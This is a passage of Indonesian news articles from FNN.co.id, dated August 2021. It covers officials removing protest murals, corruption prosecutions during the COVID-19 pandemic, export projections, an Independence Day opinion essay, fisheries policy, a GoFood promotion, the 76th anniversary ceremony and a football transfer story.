lagi. Sebuah mural bertuliskan Tuhan Aku Lapar viral di media sosial pada 24 Juli 2021. Kalimat dengan huruf kapital berwarna putih mengkilat berukuran jumbo itu sempat terpampang jelas dan diabadikan sejumlah pengguna jalan. Setelah viral di medsos, aparat Satpol PP Kecamatan Tigaraksa langsung menghapus tulisan tersebut. Keesokannya aparat kepolisian dari Polres Kota Tangerang mendatangi rumah dua pembuat mural itu. Menurut Kapolresta Tangerang Kombes Wahyu Sri Bintoto, upaya pembuatan mural itu tak ada kaitan dengan aksi nasional menolak perpanjangan PPKM yang tengah ramai di medsos. Sehingga, pihaknya tidak memproses hukum para pelaku pembuatan mural tersebut. Pasca viral mural “Tuhan Aku Lapar”, mural “#Jokowi404NotFound “ telah menjadi trending topik dalam Twitter, Sabtu (14/8/2021). Mengutip Kompas.com, Sabtu (14/08/2021, 18:20 WIB), tercatat lebih dari 14.000 warganet men-tweet-kan kalimat itu. Tagar itu berasal dari gambar mural yang belakangan telah dihapus petugas karena dinilai melecehkan lambang negara. Wajah Presiden Joko Widodo atau Jokowi mengernyitkan dahi digambar di sebuah tembok di Batuceper Kota Tangerang. Mural berwarna abu-abu kombinasi hitam itu pada bagian mata ditutup tulisan berhuruf putih “404: Not Found” dengan layar belakang merah itu kini sudah dihapus aparat. Menurut Kasubbag Humas Polres Tangerang Kota Komisaris Abdul Rachim, mural tersebut berindikasi pelecehan dan penghinaan simbol negara dan sudah dihapus. “Presiden itu simbol negara, ini tidak hanya mengganggu sekadar ketertiban ada hukum berlaku,” katanya. “Tetap diselidiki itu perbuatan siapa. Karena bagaimanapun itu kan lambang negara, harus dihormati,” lanjut Abdul Rachim, saat dihubungi wartawan, Jumat (13/8/2021). Peristiwa serupa juga terjadi di sebuah pertigaan jalan raya di Kecamatan Bangil, Kabupaten Pasuruan, Jawa Timur. Diberitakan Kompas.com, Kamis (13/8/2021), mural yang tergambar di dinding salah satu rumah dihapus pemerintah setempat. Sejumlah akun media sosial mengunggah foto yang memperlihatkan dinding berisi mural dan kondisi setelah dihapus. Pada mural itu terlihat gambar dua karakter dengan tulisan, “Dipaksa Sehat di Negara yang Sakit”. Kepala Satpol PP Kabupaten Pasuruan Bakti Jati Permana mengatakan, penghapusan mural itu sesuai dengan Perda Kabupaten Pasuruan Nomor 2 Tahun 2017 tentang Ketertiban Umum dan Ketenteraman Masyarakat. Dalam Pasal 19 Perda Kabupaten Pasuruan Nomor 2 Tahun 2017 tersebut tercantum larangan mencoret dinding atau tembok sarana umum. “Yang pasti kalau di perda kita, Perda Nomor 2 Tahun 2017, memang ada mengatur tentang tertib lingkungan, setiap orang dilarang mencorat-coret yang mengarah pada sarana umum,” kata Bakti melalui sambungan telpon, Jumat (13/8/2021). Ia mengatakan, dinding rumah yang menjadi tempat mural itu merupakan sarana umum karena berada di pinggir jalan raya utama. Adapun mural itu terletak di rumah kosong yang belum diketahui pemiliknya. Rumah itu tepat berada di pojok jalan raya. Bakti juga menilai, mural itu bernada provokatif. Alasan ini pula yang membuat pihaknya memutuskan untuk menghapus mural tersebut. Penulis adalah Wartawan FNN.co.id

Penegakan Hukum Tak Diabaikan dalam Situasi Pandemi

Jakarta, FNN - Penegakan hukum dalam situasi pandemi COVID-19 memang tidak boleh diabaikan. Hal tersebut dilakukan agar tidak ada "oknum-oknum" yang memanfaatkan situasi pandemi untuk melakukan perbuatan melawan hukum. Pandemi COVID-19 memang seharusnya tidak menjadi halangan bagi aparat penegak hukum kita untuk terus bekerja menegakkan hukum. Penegakan hukum dalam situasi pandemi COVID-19 memang beragam seperti kasus tindak pidana korupsi, penyebaran informasi bohong (hoax), dan lain-lain. Untuk itu, diharapkan komitmen dari para aparat penegak hukum untuk tetap menegakkan hukum dengan adil dan transparan. Penegakan Hukum Di masa pandemi pun, tak menghalangi KPK untuk tetap bertugas menjerat para pelaku korupsi, bahkan yang terjerat mulai dari setingkat menteri hingga kepala daerah. Memang di saat masyarakat membutuhkan bantuan akibat dampak dari pandemi, namun ada pejabat negara justru yang berbuat korupsi adalah hal yang menjengkelkan. Kasus korupsi yang sempat menyita perhatian publik adalah terkait dengan pengadaan bansos untuk penanganan COVID-19 di wilayah Jabodetabek yang menjerat Menteri Sosial (Mensos) saat itu, Juliari Peter Batubara. KPK pun menetapkan Juliari bersama empat orang lainnya sebagai tersangka. Sontak, kasus Juliari tersebut menjadi puncak kejengkelan masyarakat, Bagaimana tidak, pengadaan bansos malah "dimanfaatkan" untuk memperkaya diri sendiri. KPK sendiri telah berkomitmen untuk mengawal realokasi anggaran dan pelaksanaan refocusing kegiatan pemerintah terkait penanganan pandemi COVID-19 yang berpotensi menimbulkan kerugian keuangan negara maupun rawan terjadinya penyalahgunaan atau korupsi. Apabila disalahgunakan, maka KPK akan menindak tegas para pelakunya. Saat ini, Juliari sudah berstatus terdakwa. Ia pun telah dituntut selama 11 tahun penjara ditambah denda Rp500 juta subsider 6 bulan kurungan ditambah membayar uang pengganti kepada negara sebesar Rp14.597.450.000 subsider 2 tahun penjara dan pencabutan hak untuk dipilih dalam jabatan publik selama 4 tahun. Jaksa Penuntut Umum JPU) KPK menyebut Juliari dinilai terbukti menerima suap Rp32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako COVID-19 di wilayah Jabodetabek. Selain Juliari, kasus yang juga sempat menghebohkan publik adalah kasus suap yang menjerat Menteri Kelautan dan Perikanan saat itu Edhy Prabowo terkait dengan perizinan ekspor benih lobster (benur). Kasus tersebut memang tidak terkait dengan penanganan COVID-19, namun tetap saja melukai hati masyarakat karena berbuat korupsi di tengah pandemi apalagi dilakukan oleh pejabat negara. Edhy telah divonis 5 tahun penjara ditambah denda Rp400 juta subsider 6 bulan kurungan dalam perkara penerimaan suap senilai 77 ribu dolar AS dan Rp24,6 miliar dan pencabutan hak untuk dipilih dalam jabatan publik selama 3 tahun. Edhy terbukti menerima suap senilai 77 ribu dolar AS dan Rp24.625.587.250. KPK juga telah menjerat beberapa kepala daerah di tengah pandemi, salah satunya Bupati Bandung Barat Aa Umbara Sutisna yang ditetapkan sebagai tersangka bersama anaknya, Andri Wibawa dan M Totoh Gunawan dari pihak swasta. Ketiganya diduga melakukan korupsi pengadaan barang tanggap darurat bencana pandemi COVID-19 pada Dinas Sosial Bandung Barat Tahun 2020. Berkas perkara ketiganya juga telah dilimpahkan ke pengadilan dan segera disidangkan. Sementara itu, tugas pokok Kepolisian Negara Republik Indonesia (Polri) adalah menjaga keamanan dan ketertiban masyarakat serta penegakan hukum. Di masa pandemi COVID-19 saat ini, polisi juga menjadi penyelesai masalah (problem solver), membangun komunikasi yang efektif dengan masyarakat, menjalin kemitraan yang baik dengan stakeholders. Selanjutnya, transparansi informasi yang akurat sebagai penangkal berita bohong (hoax-buster) dan berpartipasi bersama masyarakat dalam penanggulangan COVID-19. Untuk membantu penanganan COVID-19 dan juga mendukung kebijakan pemerintah terkait dengan Pemberlakuan Pembatasan Kegiatan Masyakarat (PPKM), Polri juga telah menggelar Operasi Aman Nusa II Lanjutan. Selama pelaksanaan Operasi Aman Nusa II Lanjutan, 3 Juli hingga 2 Agustus, Polri telah melakukan penindakan baik secara tindak pidana maupun tindak pidana ringan (tipiring) terhadap pelanggar aturan PPKM muapun protokol kesehatan. Beberapa penindakan yang telah dilakukan kepolisian, seperti di Polda Jawa Tengah terkait dengan ajakan di media sosial untuk melakukan aksi penolakan PPKM Level 4. Berikutnya, di Polda Metro Jaya terkait dengan pemalsuan dokumen kesehatan yang terjadi di Bandara Halim Perdana Kusuma, lalu di Polda Jawa Barat terkait dengan demo ricuh pada masa PPKM Level 4 di Bandung. Penindakan berikutnya oleh Direktorat Tindak Pidana Ekonomi Khusus (Dirtipideksus) Bareskrim Polri terkait dengan kelangkaan dan kenaikan harga obat terapi COVID-19 serta tabung oksigen, total ada 33 kasus yang ditangani dengan jumlah tersangka sebanyak 37 orang. Sementara itu, Kejaksaan Agung (Kejagung) juga tetap berkomitmen menyelesaikan kasus-kasus besar seperti kasus korupsi investasi asuransi Jiwasyara, kasus Djoko Tjandra yang juga menyeret Jaksa Pinangki Sirna Malasari, kasus korupsi PT Danareksa Sekuritas, dan kasus pengelolaan keuangan dan dan investasi di PT Asabri (Persero). Sebelumnya, Jaksa Agung Sanitiar Burhanuddin juga telah memerintahkan jajaran kejaksaan mendukung pelaksanaan kebijakan PPKM Darurat Jawa-Bali dengan memberi sanksi tegas kepada pelanggar protokol kesehatan sebagai efek jera. Para kepala kejaksaan diminta dapat mengambil langkah-langkah yang diperlukan sesuai tugas, fungsi, kewenangannya untuk memberi dukungan terhadap pelaksanaan kebijakan PPKM Darurat. Langkah berikutnya, menggelar Operasi Yustisi Penegakan Hukum Kedisiplinan PPKM, dengan berkoordinasi dengan Satgas COVID_19, kepolisian, pemerintah daerah/Satuan Polisi Pamong Praja dan pengadilan. Para kepala kejaksaan juga diminta memastikan setiap pengadaan dan distribusi barang yang terkait penanggulangan COVID-19 berjalan lancar serta menindak tegas setiap upaya yang berpotensi menghambat ataupun menggagalkan pengadaan dan distribusi barang dimaksud. Kejaksaan juga telah merilis hasil kinerja pada semester I-2021. Pada bidang tindak pidana khusus, jumlah penanganan perkara pada tahap penyelidikan sebanyak 860 perkara, tahap penyidikan 847 perkara, tahap penuntutan 645 perkara, tahap eksekusi 605 orang, dan estimasi penyitaan aset senilai sekitar Rp14 triliun. Sedangkan di bidang tindak pidana umum, jumlah penanganan perkara pada tahap penuntutan sebanyak 56.987 perkara, tahap eksekusi 43.962 perkara, sidang daring (online) 339.090 persidangan, dan penghentian penuntutan 46 perkara. Selain itu, untuk Daftar Pencarian Orang (DPO) yang berhasil ditangkap sebanyak 96 orang, salah satunya memulangkan terpidana kasus pembalakan liar Adelin Lis ke Indonesia. Pelayanan Peradilan Presiden Joko Widodo (Jokowi) saat berpidato pada Sidang Tahunan MPR RI dan Sidang Bersama DPR RI dan DPD RI Tahun 2021 di Gedung MPR/DPR/DPD RI, Jakarta, Senin (16/8) juga telah menekankan kecepatan kerja dan pelayanan peradilan tidak bisa ditunda bahkan harus dipercepat meski saat ini bangsa Indonesia masih berada dalam era pandemi. Menurutnya, proses administrasi dan persidangan perkara di Mahkamah Agung (MA) secara elektronik telah mampu mempercepat penanganan perkara. Bahkan, dengan adanya aplikasi peradilan-elektronik, e-Court, telah mempermudah dan meningkatkan jumlah perkara yang dibawa ke pengadilan. Demikian pula halnya dengan Mahkamah Konstitusi (MK), yang juga menggelar persidangan melalui daring. Presiden mengatakan munculnya banyak permohonan keadilan yang terkait dengan undang-undang dan juga perkara Pilkada, tetap membuat MK mampu menyelesaikan perkara tepat waktu. Presiden mengatakan keberadaan Sistem Peradilan Berbasis Elektronik telah memfasilitasi terselenggaranya layanan publik secara cepat, transparan, dan akuntabel. Komisi Yudisial (KY), kata Presiden, juga harus tetap produktif di era pandemi, baik dalam seleksi Calon Hakim Agung, menangani laporan masyarakat, pemantauan perkara persidangan, serta pelanggaran kode etik hakim. Presiden mengatakan dengan kerja keras dan inovasi yang dilakukan, KY telah berhasil meningkatkan kinerjanya di tengah pandemi COVID-19 ini. Di saat negara sedang berjuang melawan COVID-19, penegakan hukum juga harus tetap diperjuangkan untuk menciptakan keadilan dan kebenaran di tengah masyarakat. (mth)

Kinerja Ekspor Indonesia Diproyeksikan Tumbuh 7,9 Persen Tahun 2022

Jakarta, FNN - Kinerja ekspor Indonesia pada tahun 2022 diperkirakan tumbuh dalam rentang 5,8 persen - 7,9 persen, sedangkan impor meningkatkan 6,0 persen - 8,6 persen. Kinerja perdagangan internasional baik ekspor dan impor Indonesia pada tahun 2022 diprediksi mampu tumbuh positif seiring dengan pemulihan kinerja perekonomian global, khususnya pada negara mitra dagang utama, demikian Buku II Nota Keuangan RAPBN 2022, yang dikutip di Jakarta, Selasa. Disebutkan, kinerja ekspor dan impor tahun 2022 juga akan ditopang oleh berbagai kebijakan Pemerintah, terutama yang berkaitan dengan reformasi struktural untuk perbaikan efisiensi dan daya saing ekonomi, peningkatan nilai tambah produk ekspor komoditas, serta penguatan industri nasional guna mendorong potensi dan munculnya komoditas ekspor unggul yang baru. Pemerintah juga akan terus melakukan langkah dukungan pembiayaan ekspor dengan skema khusus seperti Penugasan Khusus Ekspor (PKE) melalui Lembaga Pembiayaan Ekspor Indonesia (LPEI) dengan bentuk pembiayaan berupa kredit modal kerja dan buyers credit. Selanjutnya, Kredit Usaha Rakyat Berorientasi Ekspor (KURBE) dalam bentuk pembiayaan berupa kredit modal kerja dan pinjaman operasional usaha bagi IKM berorientasi ekspor maupun skema lainnya yang dirasa perlu untuk meningkatkan peran ekspor nasional. Dalam rangka perbaikan akses pasar, pemetaan pasar internasional terutama di negara-negara non tradisional sebagai pasar ekspor yang prospektif akan terus dimaksimalkan guna mengisi potensi ceruk pasar yang ada. Forum- forum kerjasama internasional baik secara bilateral dan multilateral akan dimanfaatkan untuk mendukung perdagangan internasional baik barang maupun jasa. Upaya tersebut diharapkan mampu membuka potensi pasar baru untuk produk ekspor Indonesia, khususnya di negara-negara nontradisional. Sebelumnya diberitakan, BPS mencatat nilai ekspor pada Juni 2021 mencapai 18,55 miliar dolar AS atau naik 9,52 persen secara bulanan dan naik 54,46 persen dibandingkan Juni tahun 2020, yang dorong peningkatan beberapa harga komoditas. Beberapa komoditas yang mengalami peningkatan harga antara lain minyak mentah Indonesia di pasar dunia atau Indonesian Crude Price (ICP) yang tercatat 70,23 dolar AS per barel atau naik 7,24 persen month on month (mom) dan secara tahunan naik 91,47 persen year on year (yoy). Kemudian, beberapa komoditas non migas yang mengalami peningkatan antara lain batubara yang naik 21,42 persen (mom) dan secara tahunan meroket 148,94 persen yoy, harga nikel juga naik 2,29 persen mom dan secara tahunan naik 41,27 persen yoy. Harga timah naik 0,79 persen mom dan secara tahunan naik 93,03 persen yoy. Beberapa komoditas yang mengalami penurunan harga, seperti minyak kelapa sawit yang turun 11,98 persen mom, minyak kernel turun 7,26 persen mom, karet turun 7,36 persen mom, dan tembaga dengan harga turun 5,22 persen. (mth)

Mengibarkan Optimisme Kebangsaan

Oleh : Dr. K.H. Jazilul Fawaid, S.Q., M.A PERINGATAN hari kemerdekaan RI pada tahun ini masih sama seperti peringatan pada tahun sebelumnya, yakni dalam suasana pandemi COVID-19. Suasana seperti ini bukanlah kondisi yang kita harapkan karena pandemi COVID-19 menghadirkan berbagai limitasi tersendiri. Limitasi-limitasi tersebut mewujud dalam bentuk larangan untuk melakukan parade atau pawai, larangan untuk tidak menyelenggarakan berbagai perlombaan yang berpotensi menimbulkan kerumunan, dan masih banyak lagi. Namun demikian, ada juga yang berbeda dari tahun sebelumnya. Meskipun masih dibekap oleh pandemi, perlahan tapi pasti, bangsa Indonesia mulai bangkit optimismenya untuk bergerak maju sebagai bangsa dan negara yang mampu lepas dari situasi krisis. Tidak dimungkiri bahwa pandemi COVID-19 telah meluluhlantakkan berbagai dimensi kehidupan berbangsa dan bernegara. Perekonomian nasional yang sempat jatuh ke jurang resesi karena pertumbuhan ekonomi negatif selama dua kuartal berturut-turut, masyarakat yang mengalami gegar budaya karena harus beradaptasi dengan kebiasaan baru, densitas demografi yang menyusut karena banyaknya penduduk yang meninggal dunia, tensi politik yang naik turun karena dialektika domestik dalam mitigasi dan penanganan pandemi, adalah bentuk-bentuk ekses negatif yang lahir di masa pandemi. Untuk merespons ekses-ekses negatif tersebut, optimisme menjadi kata kunci. Optimisme kebangsaan adalah senjata utama untuk keluar dari situasi krisis secara cepat dan saksama. Buah optimisme Kemerdekaan yang diraih oleh bangsa Indonesia 76 tahun silam adalah buah optimisme para pejuang kemerdekaan di masa lampau. Kemerdekaan yang diproklamasikan pada 17 Agustus 1945 tidak diraih secara instan, tapi ditempuh melalui jalan panjang nan berliku yang berlumur keringat dan darah perjuangan para pahlawan. Proklamasi kemerdekaan merupakan titik sejarah yang bisa diukir setelah optimisme kemerdekaan berhasil diaktualisasikan para pejuang dalam babakan yang sistematis, yakni perubahan metode perjuangan dari sporadis menjadi terorganisir melalui pembentukan Boedi Oetomo pada 1908, deklarasi sumpah pemuda 1928 yang mengatasi fragmentasi perjuangan, hingga berujung pada pekik kemerdekaan 1945. Optimisme kemerdekaan pada masa revolusi fisik bukanlah spirit atau elan yang hadir secara ujug-ujug. Optimisme untuk merdeka pada masa itu hadir dan meletup sebagai wujud refleksi, pembelajaran, serta keinginan yang kuat untuk hidup sebagai bangsa yang bebas, terlepas dari penindasan secara fisik dan psikis oleh kekuatan kolonial. Optimisme tersebut pada akhirnya dibalut oleh perasaan senasib dan sepenanggungan, serta keinginan seluruh bangsa untuk hidup bersama dalam sebuah entitas politik dan sosial budaya yang merdeka dan berdaulat, yakni Republik Indonesia. Proklamasi kemerdekaan pada 17 Agustus 1945 oleh Soekarno-Hatta merupakan aktualisasi konkret dari optimisme kemerdekaan yang senantiasa dijaga dan dipelihara nyalanya oleh para pejuang pada masa itu. Cara Pandang Sirkumstansi (keadaaan) yang melatarbelakangi kemerdekaan sejatinya tidak jauh berbeda dengan kondisi bangsa Indonesia hari ini, yakni sama-sama dalam situasi genting dan krisis. Bedanya, yang kita hadapi pada masa lalu adalah kekuatan kolonial kongsi dagang VOC dan Jepang, sedangkan saat ini yang kita hadapi adalah makhluk organik dengan ukuran mini tapi sangat mematikan bernama COVID-19. Meskipun subjek penyebab krisis berbeda, akan tetapi mekanisme yang ditempuh pada masa merebut kemerdekaan tetap relevan untuk dihidupkan kembali di era saat ini, yakni optimisme kebangsaan untuk keluar dari situasi krisis. Optimisme ini dapat hidup apabila ada kesamaan cara pandang dan komitmen segenap bangsa untuk maju dan bergerak bersama dalam merumuskan langkah-langkah sistematis ke depan, agar roda kehidupan berbangsa dan bernegara tetap berputar dalam mencapai tujuan nasional. Dalam mewujudkan optimisme tersebut, cara pandang memegang peranan utama. Pandemi COVID-19 tidak harus selalu dilihat dari perspektif ancaman, tapi juga perlu ditilik dari perspektif peluang. Selalu ada pembelajaran dan blessing in disguise (berkah terselubung) dalam setiap fenomena. Kolonialisme yang membebat Indonesia pada masa lalu ternyata menjadi alat pemersatu bangsa Indonesia dari Sabang sampai Merauke untuk mendeklarasikan diri sebagai negara merdeka. Begitu juga dengan pandemi COVID-19. Pandemi COVID-19 perlu dimaknai sebagai alat pemersatu bangsa karena ia merupakan musuh bersama yang harus ditanggulangi secara bersama-sama. Kehadiran pandemi COVID-19, apabila kita kaji secara mendalam, sejatinya merupakan pemantik bagi bangsa Indonesia untuk merumuskan praktik-praktik kebangsaan dan kenegaraan yang lebih inovatif dan berdaya tahan (resilient) dalam situasi krisis, utamanya praktik perekonomian karena menyangkut kebutuhan dasar manusia akan sandang, pangan, dan papan. Kehadiran pandemi COVID-19 seakan hendak mengoreksi praktik-praktik yang selama ini kita anggap benar. Pada perspektif lainnya, eksistensi pandemi boleh jadi hendak menyadarkan kita semua bahwa praktik-praktik yang selama ini kita jalankan mungkin kurang sesuai dengan amanat Pancasila dan konstitusi. Praktik ekonomi liberal yang terlalu bertumpu pada pertimbangan cost (biaya) dan benefit (untung) misalnya, akan berujung pada PHK dan bertambahnya jumlah pengangguran tatkala para pelaku ekonomi melihat biaya yang harus mereka keluarkan di masa pandemi lebih tinggi dari keuntungan yang akan mereka dapatkan. Situasi seperti ini, mau tidak mau, suka tidak suka, akan memaksa kita untuk menengok kembali konsepsi ekonomi Pancasila yang digariskan oleh para pendiri bangsa. Berbagai dampak negatif di sisi ekonomi, seperti fenomena PHK, pengangguran, dan penurunan daya beli masyarakat, tidak akan menjadi fakta dominan di era krisis apabila kita selama ini berkhidmat pada ekonomi Pancasila yang berbasis kemandirian (self-help). Di sinilah entry point (titik mula) munculnya optimisme bangsa Indonesia, bahwa kita pada hakikatnya sudah memiliki mekanisme untuk keluar dari situasi krisis. Komitmen dan Soliditas Pemerintah Indonesia sendiri, meskipun belum bisa dikatakan maksimal, telah melakukan kerja keras dan upaya-upaya berkesinambungan untuk meredam ekses negatif pandemi. Secara ekonomi, negara hadir di tengah masyarakat dalam bentuk beragam bantuan sosial yang digulirkan kepada mereka yang terdampak, serta pemberian insentif kepada para pelaku usaha agar perekonomian tetap bergeliat. Untuk memproteksi masyarakat dari COVID-19 yang kian mengganas, pemerintah memberlakukan protokol kesehatan dan pembatasan kegiatan masyarakat secara ketat. Meskipun kebijakan pembatasan kegiatan ini banyak dikritik karena mengalami perubahan nomenklatur berkali-kali dan dianggap seperti sebuah dilema kebijakan (baca: pendekatan ekonomi vs kesehatan), akan tetapi adanya PSBB, PPKM Jawa-Bali, PPKM Mikro, Penebalan PPKM Mikro, hingga PPKM Darurat, merupakan wujud kehadiran negara dalam menjamin human security (keamanan warga) seluruh warga negara sesuai amanat UUD NRI 1945. Upaya-upaya tersebut harus kita apresiasi dan didukung secara penuh, termasuk upaya pemerintah untuk menciptakan kekebalan komunitas melalui program vaksinasi yang semakin digalakkan ke masyarakat saat ini. Dengan menengok kembali kapasitas kita sebagai sebuah bangsa yang dibekali dengan pedoman dan panduan kebangsaan yang kuat dalam bentuk Pancasila, serta komitmen kuat dan upaya-upaya komprehensif yang dilakukan oleh pemerintah untuk menangani pandemi, sudah sepatutnya kita semua optimis bahwa kita, bangsa Indonesia, akan segera keluar dari situasi krisis. Pandemi COVID-19 tidak harus selalu dilihat sebagai ancaman, tapi perlu juga dilihat sebagai peluang. Pandemi COVID-19 akan menjadi pemantik bagi kita semua untuk bersatu dalam penanganan, terlepas dari semua perbedaan yang ada. Yang perlu kita yakini adalah bangsa yang mampu keluar dari situasi krisis seperti saat ini akan menjadi bangsa yang lebih kuat dan tangguh di masa yang akan datang. Peringatan hari kemerdekaan RI 17 Agustus 2021 ini selaiknya menjadi momentum untuk menebalkan kembali optimisme kebangsaan kita. Selamat hari kemerdekaan 17 Agustus 2021, Indonesia tangguh, Indonesia tumbuh. Penulis adalah Wakil Ketua MPR RI Periode 2019-2024

Pengamat: BUMN Perikanan Tingkatkan Kolaborasi dengan Nelayan Lokal

Jakarta, FNN - Pengamat kelautan dan Direktur Eksekutif Pusat Kajian Maritim untuk Kemanusiaan Abdul Halim menyarankan agar berbagai BUMN bidang perikanan perlu lebih meningkatkan kolaborasi dengan kalangan nelayan lokal dalam mengangkat harkat kesejahteraan mereka. "BUMN Perikanan bisa berkolaborasi dengan organisasi nelayan dalam rangka membeli hasil tangkapan nelayan," kata Abdul Halim di Jakarta, Selasa. Halim mengemukakan, pembelian hasil tangkapan nelayan tersebut kemudian bisa diolah oleh BUMN perikanan dan dipasarkan untuk memenuhi kebutuhan pangan perikanan. Kemudian, lanjutnya, bila kebutuhan pangan perikanan bagi konsumen lokal sudah terpenuhi, maka komoditas yang berlebih dapat diekspor ke berbagai negara di luar negeri. Selain itu, ujar dia, BUMN juga perlu untuk memastikan saranan layanan dasar kebutuhan produksi nelayan dipenuhi, di antaranya adalah ketersediaan SPDN dengan layanan reguler. SPDN adalah Solar Pack Dealer Nelayan, untuk memenuhi kebutuhan BBM subsidi solar kepada kalangan nelayan. Sebagaimana diwartakan, Menteri BUMN Erick Thohir menginstruksikan BUMN untuk membantu nelayan agar naik kelas. "Kami akan memikirkan ada Pertashop di daerah Nambangan. Tentunya selain melayani BBM untuk kendaraan, kita akan diskusikan bagaimana solarnya untuk nelayan. Mengenai pemodalan, saya akan bicarakan dengan bank Himbara serta PNM agar bisa terlibat lebih jauh. Sedangkan soal distribusi, beri saya waktu karena bicara industri perikanan akan terkait Kementerian lain. Insya Allah, kami pasti bantu agar nelayan kita bisa naik kelas," ujar Erick Thohir saat mengunjungi kampung nelayan di Nambangan, Kenjeran, Surabaya, Minggu (15/8). Demi membangun ketahanan pangan, terutama di industri perikanan Indonesia, lanjut dia, BUMN harus memberikan dukungan maksimal agar berbagai nelayan naik kelas. Persoalan bahan bakar yang mahal, pemodalan, serta dukungan distribusi hasil tangkapan harus dicarikan jalan keluar agar kehidupan dan kesejahteraan nelayan meningkat. Warga nelayan Nambangan saat ini mengeluhkan biaya solar yang mahal karena tidak punya akses membeli di SPBU sehingga harus dengan eceran. Mereka membelinya dengan harga tinggi Rp8.000/liter dengan kualitas solar yang kotor. Harga resmi solar di SPBU Rp5.150/liter. Selain itu mereka memerlukan terbukanya akses yang luas untuk pemodalan dan jalur distribusi hasil tangkapan. "Mengenai pemasaran, saya juga meminta agar para nelayan yang tergabung dalam Kesatuan Nelayan Tradisional Indonesia atau KNTI, terutama nelayan milenial dan melek teknologi untuk memanfaatkan pemasaran digital," kata Erick Thohir. (mth)

Rayakan Kemerdekaan, GoFood Bakal Gelar Promo Rp1

Jakarta, FNN - Layanan pesan-antar makanan GoFood, dari Gojek, akan menggelar promosi Rp1 untuk merayakan Hari Kemerdekaan. Dikutip dari siaran pers, hari ini, Selasa (17/8) saat tayangan WIB Show di akun YouTube resmi Tokopedia, Tokopedia PLAY dan GoPlay pukul 19.30-21.00 nanti, GoFOod akan memberikan berbagai promosi. Gojek akan memberikan kupon diskon 90 persen khusus untuk pengguna baru, senilai hingga Rp30.000 dengan minimal pesanan di nominal yang sama. Voucher tersebut berlaku selama tujuh hari setelah dikirimkan. Selama acara WIB Show, pengguna juga bisa membeli langganan paket GoFood Plus senilai Rp1. Setelah acara tersebut selesai, Gojek juga akan memberikan serangkaian promosi yang berlaku sampai 31 Agustus nanti. Pelanggan baru bisa mendapatkan voucher 75 persen senilai hingga Rp30.000, berlaku selama tujuh hari dengan minimal pesanan senilai sama. Pelanggan baru juga bisa mendapatkan gratis ongkos kirim sampai enam kali senilai hingga Rp150.000 tanpa nilai minimum pemesanan. Jika bertransaksi dengan dompet digital GoPay, konsumen bisa mendapatkan diskon tambahan 9 persen senilai maksimal Rp2.700 untuk pemesanan minimal senilai Rp30.000. GoFood juga mengadakan Promo Kulineran berupa potongan harga senilai hingga Rp110.000 dan diskon ongkos kirim sampai 28 September nanti. (mth)

Presiden Jokowi Kenakan Pakaian Adat Lampung saat Upacara HUT ke-76 RI

Jakarta, FNN - Presiden Joko Widodo memilih untuk mengenakan pakaian adat dari Lampung saat menjadi inspektur Upacara Peringatan Detik-Detik Proklamasi Kemerdekaan Republik Indonesia di Istana Merdeka Jakarta pada Selasa. Presiden Jokowi mengenakan baju lengan panjang warna putih dan celana warna senada. Pada bagian pinggang dililitkan sarung khas Lampung warna merah yang ditenun dengan benang emas. Penggunaan sarung di luar celana dengan panjang mencapai lutut. Presiden juga menyematkan selendang merah yang motifnya senada dengan sarung. Di pinggang Presiden, melingkar ikat pinggang merah dengan asesoris lingkaran berwarna emas. Tidak ketinggalan Presiden Jokowi memakai ikat kepala berwarna merah dengan corak kuning. Dengan tetap menjaga protokol kesehatan, Presiden memakai masker putih. Sedangkan Ibu Negara Iriana Joko Widodo mengenakan busana nasional dengan kain songket. Baju kurung yang dikenakan Ibu Negara berwarna kuning terang dengan kain songket warna senada serta selendang yang ditaruh di bahu kiri. Sedangkan jilbab Ibu Negara juga berwarna kuning, tidak ketinggalan masker berwarna putih. Dalam Upacara Peringatan Detik-Detik Proklamasi Kemerdekaan Republik Indonesia tahun 2021 ini Kolonel Pnb. Putu Sucahyadi didapuk menjadi Komandan Upacara. Pria kelahiran Denpasar, 9 Oktober 1977, ini merupakan lulusan Akademi Angkatan Udara tahun 1999. Saat ini ia menjabat sebagai Asops Kosekhanudnas II Makassar. Bertindak sebagai Komandan Kompi Paskibraka ialah Kapten Inf. Suryadi Nataatmaja. Saat ini pria lulusan Akademi Militer tahun 2012 tersebut bertugas sebagai Danki Pandu Udara Denpandutaikam Brigif Para Raider 18/2 Kostrad. Adapun bertindak sebagai Perwira Upacara ialah Brigadir Jenderal TNI Novi Helmy Prasetya. Lahir di Bangkalan, 10 November 1971, saat ini menjabat sebagai Kepala Staf Garnisun Tetap I/Jakarta. Beliau merupakan lulusan Akademi Militer tahun 1993. Paskibraka 2021 dibagi menjadi dua tim yaitu Tim Indonesia Tangguh yang bertugas untuk mengibarkan Sang Merah Putih di halaman Istana Merdeka pada Peringatan Detik-Detik Proklamasi Kemerdekaan Republik Indonesia. Sedangkan Tim Indonesia Tumbuh bertugas untuk di Upacara Penurunan Bendera Negara Sang Merah Putih Ardelia Muthia Zahwa yang merupakan perwakilan dari Provinsi Sumatera Utara terpilih sebagai pembawa bendera Merah Putih. Ardelia, kelahiran Tebing Tinggi, 6 Desember 2004, saat ini menempuh pendidikan di SMA Harapan I Medan. Tiga lainnya dari Kelompok 8 yang bertugas untuk mengibarkan bendera ialah Aditya Yogi Susanto sebagai Komandan Kelompok 8 yang mewakili Provinsi Gorontalo, Dika Ambiya Rahman sebagai pembentang bendera yang mewakili Provinsi Jawa Barat, dan Ridho Hadfizar Armadhani sebagai pengerek bendera yang mewakili Provinsi Lampung. (mth)

Agen Tegaskan Lautaro Martinez Ingin Bertahan di Inter Milan

Jakarta, FNN - Agen dari Lautaro Martinez, Alejandro Camano menegaskan bahwa kliennya masih ingin bertahan dan tetap percaya dengan target Inter Milan musim ini. Dikutip dari football-italia, Selasa, Camano mengatakan Lautaro saat ini menargetkan untuk meraih gelar Serie A Italia bersama Inter. "Lautaro ingin bertahan di Inter. Dia percaya kepada proyek Nerazzuri dan menargetkan scudetto lainnya," jelas Camano. Ia juga melanjutkan akan ada pertemuan antara dirinya dengan pihak Inter yang direncanakan akan digelar pada Rabu (18/8) waktu setempat. Camano mengatakan dirinya dan pihak Inter akan melakukan semua yang bisa agar Lautaro Martinez bisa bertahan bersama Inter dan menjelaskan kliennya menjalani hubungan yang baik dengan rekan setim serta pelatih. "Ada pertemuan dengan Inter yang direncanakan pada Rabu. Kami akan melakukan semua yang mungkin sehingga dia (Lautaro) bisa tetap bersama Nerazzuri. Martinez senang berada di Milan, berhubungan sangat baik dengan rekan setimnya dan pelatih baru," ujar Camano. Ia 